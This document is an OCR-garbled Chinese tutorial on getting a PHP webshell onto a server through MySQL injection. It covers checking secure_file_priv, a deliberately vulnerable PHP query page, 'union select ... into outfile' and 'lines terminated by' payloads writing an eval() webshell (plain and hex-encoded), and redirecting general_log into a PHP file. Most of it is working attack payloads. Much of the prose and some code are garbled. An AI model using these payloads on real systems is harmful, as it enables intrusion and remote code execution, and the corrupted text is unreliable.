ETEABAZEAFANSRK , FLENNEIHMHRBN T, JREET N TENERN , NERNNETHEIR
BT 4 BTEFERNRIEEES CHEISEER.

EbanHmyg—N mysaL iFANR |, Bid{#ER sqLmap AY --os-she11 a5k , FEJEHA—HEIKEN webshell , {B2IEIE
FIELRT , E2EMNLEBRPEFE saLmap IImAY_EERY webshe1T 3244,

— P MysSQL ;I FEANRE AN webshell , FEFHEMLERANR ? EEFKN , FE S iEsecure_file_privE@B X HFEUESE.
LEIEIEERFRPR. KEweb B RAOYERERR,

A. MySQLFsecure_file_priviX MBI IIHIESASHARS], WS8R secure_file_priv=NULL , MySQLIRSS
SEILSANTISHIRE. BidmdESsecure-file-priv HHEeIE , FHIARBATFSASHUREIRNSIHRER,
show variables Tike ‘%secure_file_priv%’;

B. MysQL¥root FAFHBEEIIR , (EEA\Webshe1THAZTE—ERroot PR | thaNSRERF REMHEFILEMN
PREEATLABIAT select into outfileifE.

C. Ysecure_file_privEHIRZSwebBRIZRES , EA\Webshel1 AT LAHEIHITE],

0x01 fHiE—MEAR

1. EERNASUERE test PEIENIHRadminfIKEUE | FriZtest BT FILERSR,

create user 'test'@'localhost' identified by '123456';
grant file on *.* to 'test'@'localhost';

2. {EFtestFAIFERE

<?php

$con = mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);

$id = $_REQUEST[ 'id' T;

$query = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);

0x02 EAWebShellgg LA
1. FJHUnion select G\
XEEENANSEANSGT , union fRselect into outfile , F—aIEEA evil.php , (NERFELEIEN.

BMIBRESK : secure_file_priviiweb BRXH-SH. SIEERFFilefR. SREWIEREZ,


af://n37
af://n43

?id=1 union select 1,"<?php @eval($_PoST['g']);?>",3 into outfile 'E:/study/www/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504153545b2767275d293bh3f3e22,3 into
outfile "E:/study/www/evil.php"

2, FRSRHFEAN

Hmysql FFARAEFEIREE , Union selectEARNARBERAZRFBEATH , BBATTLUBESIRAEAN. saLvap fY
—-os-shel1 @< , IFRANHE— XA,

BAPREK : secure_file_priviziFweb RS H. HUEERFFileNR. RBUIIRRE.

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/www/evil.php' lines terminated by
0x20273c3f70687020406576616c28245F504153545b2767275d293b3f3e27 --

EIFFRTHIS , —HE IR
?id=1 INTO OUTFILE '#JHEER/Z' lines terminated by (—fiFhexiwig ) #
?id=1 INTO OUTFILE 'YJIBER{R' fields terminated by (—f&iFhex¥mi3) #
?id=1 INTO OUTFILE '"#JIEER/2' columns terminated by (—fJiFhexiwiB ) #
?id=1 INTO OUTFILE '#JFREER' lines starting by (—iEhexdmtL ) #

3. FEBlogBA

FThRANHY MysQL IRE T SHIHRIERR | RIEEIRE webshe11 iIIRBHEEREENY , TixE I FERselect into
outfileskEAN—EIE, XA , BAITLUBIIES mysaL BY Tog SXASRZREX webshelT ,

BEARSPREK : $IEERF&ES super # File [RSSEUR. IREUIIRERER,

show variables like '%general%'; #EELE

set global general_log = on; #Fti3general logi&Ez

set global general_log_file = 'E:/study/www/evil.php'; #HEBEHEE R Ishel 1ot
select '<?php eval($_GET[g]l);?>"' #5 A\shell

set global general_log=off; #%xFgeneral Tlogi&Ez{

MNERBRSEFMEBMTARRS L, DS RS —EEXRIE— T, BRI EE.
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